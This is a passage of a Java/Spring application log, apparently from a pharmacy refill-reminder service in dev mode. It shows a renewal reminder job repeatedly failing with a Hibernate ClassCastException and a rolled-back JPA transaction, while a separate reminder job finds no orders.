org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-24 23:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-24 23:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-24 23:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-24 23:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-24 23:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-24 23:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-24 23:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-24 23:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-24 23:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-24 23:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-24 23:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-24 23:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-24 23:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-24 23:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-24 23:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-24 23:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-24 23:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-24 23:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-24 23:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-24 23:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-24 23:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-24 23:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-24 23:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-24 23:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 00:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 00:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 00:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 00:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 00:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 00:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 00:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 00:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 00:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 00:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 00:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at 